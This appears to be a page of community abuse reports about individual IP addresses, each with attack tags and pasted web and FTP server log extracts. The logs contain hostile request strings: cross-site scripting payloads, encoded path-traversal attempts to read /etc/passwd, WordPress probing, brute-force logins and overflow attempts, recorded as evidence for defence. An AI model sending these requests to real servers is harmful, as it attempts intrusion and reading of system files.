🇪🇸
172.233.96.68
04 Oct 2024
172.233.96.68 - - [04/Oct/2024:08:53:18 +0000] "GET /libs/bower/bower_components/yui2/sandbox/treevi ...
show more
172.233.96.68 - - [04/Oct/2024:08:53:18 +0000] "GET /libs/bower/bower_components/yui2/sandbox/treeview/removechildren.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 404 266 "-"
show less
Hacking
SQL Injection
🇮🇪
52.17.9.21
15 Apr 2023
Multiple common web attacks:
52.17.9.21 - - [14/Apr/2023:16:56:14 +0000] "GET /..%25uF025..%25uF0 ...
show more
Multiple common web attacks:
52.17.9.21 - - [14/Apr/2023:16:56:14 +0000] "GET /..%25uF025..%25uF025..%25uF025..%25uF025..%25uF025..%25uF025..%25uF025..%25uF025/etc/passwd%00 HTTP/1.1" 404 273 "-"
52.17.9.21 - - [14/Apr/2023:16:56:11 +0000] "GET /%25c0%252e%25c0%252e%25c0%252f%25c0%252e%25c0%252e%25c0%252f%25c0%252e%25c0%252e%25c0%252f%25c0%252e%25c0%252e%25c0%252f%25c0%252e%25c0%252e%25c0%252f%25c0%252e%25c0%252e%25c0%252f%25c0%252e%25c0%252e%25c0%252f%25c0%252e%25c0%252e%25c0%252f/etc/passwd%00 HTTP/1.1" 404 353 "-"
show less
Hacking
Web App Attack
🇫🇷
137.74.131.30
10 Feb 2023
multiple malicious attempts: 137.74.131.30 - - [10/Feb/2023:06:10:11 +0000] "GET /listings/?foodbake ...
show more
multiple malicious attempts: 137.74.131.30 - - [10/Feb/2023:06:10:11 +0000] "GET /listings/?foodbakery_locations_position=filter&foodbakery_radius=10%22%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&location&search_title&search_type=autocomplete HTTP/1.1" 404
137.74.131.30 - - [08/Feb/2023:16:27:41 +0000] "GET /index.php?from=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 404
show less
Hacking
Brute-Force
🇺🇸
45.132.227.145
21 Aug 2022
Several attempts to probe URLs:
45.132.227.145 - - [21/Aug/2022:14:57:44 +0000] "GET //wp2/wp-inclu ...
show more
Several attempts to probe URLs:
45.132.227.145 - - [21/Aug/2022:14:57:44 +0000] "GET //wp2/wp-includes/wlwmanifest.xml HTTP/1.1" 404 90781 "-"
45.132.227.145 - - [21/Aug/2022:14:57:44 +0000] "GET //test/wp-includes/wlwmanifest.xml HTTP/1.1" 404 90790 "-"
45.132.227.145 - - [21/Aug/2022:14:57:44 +0000] "GET //wp1/wp-includes/wlwmanifest.xml HTTP/1.1" 404 90781 "-"
show less
Web App Attack
🇺🇸
156.96.46.99
21 Aug 2022
Many attempts to exploit WordPress; here log extract:
156.96.46.99 - - [21/Aug/2022:11:20:53 +0000] ...
show more
Many attempts to exploit WordPress; here log extract:
156.96.46.99 - - [21/Aug/2022:11:20:53 +0000] "GET /home/media/wp-includes/wlwmanifest.xml HTTP/1.1" 404 43374
156.96.46.99 - - [21/Aug/2022:11:20:53 +0000] "GET /home/test/wp-includes/wlwmanifest.xml HTTP/1.1" 404 43366
156.96.46.99 - - [21/Aug/2022:11:20:53 +0000] "GET /home/wp1/wp-includes/wlwmanifest.xml HTTP/1.1" 404 43358
show less
Web App Attack
🇸🇪
185.157.160.214
04 Aug 2022
Web server hosting malicious shell scripts and PowerShell scripts for attackers.
Hacking
🇮🇹
89.202.228.210
22 Jul 2022
Possible buffer overflow attempts: Mon Jul 4 14:27:17 2022 [pid 30367] FTP command: Client "89.202. ...
show more
Possible buffer overflow attempts: Mon Jul 4 14:27:17 2022 [pid 30367] FTP command: Client "89.202.228.210", "???????????????????????E?"
Mon Jul 4 14:27:17 2022 [pid 30367] FTP command: Client "89.202.228.210", "?????????????????????????????????????????????????"
show less
Hacking
🇬🇧
178.159.11.162
22 Jul 2022
Here is an extract from the logs:
Thu Jul 21 15:11:47 2022 [pid 23720] [www-data] FAIL LOGIN: Clie ...
show more
Here is an extract from the logs:
Thu Jul 21 15:11:47 2022 [pid 23720] [www-data] FAIL LOGIN: Client "178.159.11.162"
Thu Jul 21 15:11:45 2022 [pid 23715] [www-data] FAIL LOGIN: Client "178.159.11.162"
Thu Jul 21 15:11:42 2022 [pid 23711] [www-data] FAIL LOGIN: Client "178.159.11.162"
Thu Jul 21 15:11:39 2022 [pid 23707] [www-data] FAIL LOGIN: Client "178.159.11.162"
Thu Jul 21 15:11:36 2022 [pid 23702] [www-data] FAIL LOGIN: Client "178.159.11.162"
Thu Jul 21 15:11:33 2022 [pid 23698] [www-data] FAIL LOGIN: Client "178.159.11.162"
Thu Jul 21 15:11:30 2022 [pid 23694] [www-data] FAIL LOGIN: Client "178.159.11.162"
Thu Jul 21 15:11:27 2022 [pid 23690] [www-data] FAIL LOGIN: Client "178.159.11.162"
show less
FTP Brute-Force
🇧🇾
195.222.77.173
15 Jul 2022
here below a portion of the log:
Fri Jul 15 04:05:16 2022 [pid 21638] [anonymous] FAIL LOGIN: ...
show more
here below a portion of the log:
Fri Jul 15 04:05:16 2022 [pid 21638] [anonymous] FAIL LOGIN: Client "195.222.77.173"
Fri Jul 15 04:05:13 2022 [pid 21624] [anonymous] FAIL LOGIN: Client "195.222.77.173"
Fri Jul 15 04:05:10 2022 [pid 21619] [anonymous] FAIL LOGIN: Client "195.222.77.173"
Fri Jul 15 04:05:06 2022 [pid 21609] [anonymous] FAIL LOGIN: Client "195.222.77.173"
Fri Jul 15 04:05:02 2022 [pid 21587] [anonymous] FAIL LOGIN: Client "195.222.77.173"
Fri Jul 15 04:04:59 2022 [pid 21582] [anonymous] FAIL LOGIN: Client "195.222.77.173
show less
FTP Brute-Force
🇺🇸
198.58.105.152
28 Jun 2022
Here a portion of the log:
198.58.105.152 - - [24/Apr/2022:16:14:07 +0000] "GET /index.php?option= ...
show more
Here a portion of the log:
198.58.105.152 - - [24/Apr/2022:16:14:07 +0000] "GET /index.php?option=com_rsfiles&task=files.display&path=../../../../../../../../../etc/passwd HTTP/1.1" 302 813
show less
Web App Attack
🇺🇸
72.14.184.46
08 Jun 2022
Here a portion of log:
72.14.184.46 - - [24/Apr/2022:16:19:24 +0000] "GET /../../../../../../etc/p ...
show more
Here a portion of log:
72.14.184.46 - - [24/Apr/2022:16:19:24 +0000] "GET /../../../../../../etc/passwd HTTP/1.1" 400 226
72.14.184.46 - - [24/Apr/2022:16:19:23 +0000] "GET /index.php?option=com_wmi&controller=../../../../../../../../../etc/passwd%00 HTTP/1.1" 404 44522
72.14.184.46 - - [24/Apr/2022:16:19:22 +0000] "GET /_next/../../../../../../../../../../etc/passwd HTTP/1.1" 400 226
72.14.184.46 - - [24/Apr/2022:16:19:13 +0000] "GET /enginemanager/server/logs/download?logType=error&logName=../../../../../../../../etc/passwd&logSource=engine HTTP/1.1" 404 44841
72.14.184.46 - - [24/Apr/2022:16:19:07 +0000] "GET /cgi-bin/mj_wwwusr?passw=&list=GLOBAL&user=&func=help&extra=/../../../../../../../../etc/passwd HTTP/1.1" 404 44878
show less
Phishing
Web App Attack
🇸🇬
137.220.131.98
31 May 2022
Possible buffer overflow attempt; Portion of log; Fri May 27 04:15:07 2022 FTP command: Client "13 ...
show more
Possible buffer overflow attempt; Portion of log; Fri May 27 04:15:07 2022 FTP command: Client "137.220.131.98", "????????????????????????????????????????????????H2?HTTP/1.1?SPDY/3.1??????"
show less
Hacking
🇸🇬
202.95.12.44
22 May 2022
Possible buffer overflow attempt; portion of the log: Sun May 22 05:22:32 2022 [pid 11091] FTP comma ...
show more
Possible buffer overflow attempt; portion of the log: Sun May 22 05:22:32 2022 [pid 11091] FTP command: Client "202.95.12.44", "????????????????????????????????????????????????H2?HTTP/1.1?SPDY/3.1??????"
show less
Hacking
🇺🇸
23.225.163.201
19 May 2022
Possible buffer overflow attempt; here a portion of log:
Sat May 14 04:09:56 2022 [pid 12243] FTP c ...
show more
Possible buffer overflow attempt; here a portion of log:
Sat May 14 04:09:56 2022 [pid 12243] FTP command: Client "23.225.163.201", "????????????????????????????????????????????????H2?HTTP/1.1?SPDY/3.1??????"
show less
Hacking
🇩🇪
80.153.148.82
19 May 2022
FTP brute force (multiple failed logins with user Anonymous; here a portion of the log:
Sat May 14 ...
show more
FTP brute force (multiple failed logins with user Anonymous; here a portion of the log:
Sat May 14 20:48:48 2022 [pid 10404] [Anonymous] FAIL LOGIN: Client "80.153.148.82"
Sat May 14 20:48:44 2022 [pid 10400] [Anonymous] FAIL LOGIN: Client "80.153.148.82"
Sat May 14 20:48:33 2022 [pid 10378] [Anonymous] FAIL LOGIN: Client "80.153.148.82"
Sat May 14 20:48:30 2022 [pid 10374] [Anonymous] FAIL LOGIN: Client "80.153.148.82"
show less
FTP Brute-Force
🇮🇹
87.8.125.170
19 May 2022
FTP brute force (multiple failed logins): user administrator , anonymous. Portion of the log:
Wed M ...
show more
FTP brute force (multiple failed logins): user administrator , anonymous. Portion of the log:
Wed May 11 12:12:53 2022 [pid 23919] [administrator] FAIL LOGIN: Client "87.8.125.170"
Wed May 11 12:12:50 2022 [pid 23914] [administrator] FAIL LOGIN: Client "87.8.125.170"
Wed May 11 12:12:47 2022 [pid 23910] [administrator] FAIL LOGIN: Client "87.8.125.170"
Wed May 11 12:12:44 2022 [pid 23906] [administrator] FAIL LOGIN: Client "87.8.125.170"
Wed May 11 12:12:41 2022 [pid 23901] [administrator] FAIL LOGIN: Client "87.8.125.170"
Wed May 11 12:12:38 2022 [pid 23897] [anonymous] FAIL LOGIN: Client "87.8.125.170"
Wed May 11 12:12:35 2022 [pid 23892] [anonymous] FAIL LOGIN: Client "87.8.125.170"
Wed May 11 12:12:32 2022 [pid 23887] [anonymous] FAIL LOGIN: Client "87.8.125.170"
show less
DNS Compromise
FTP Brute-Force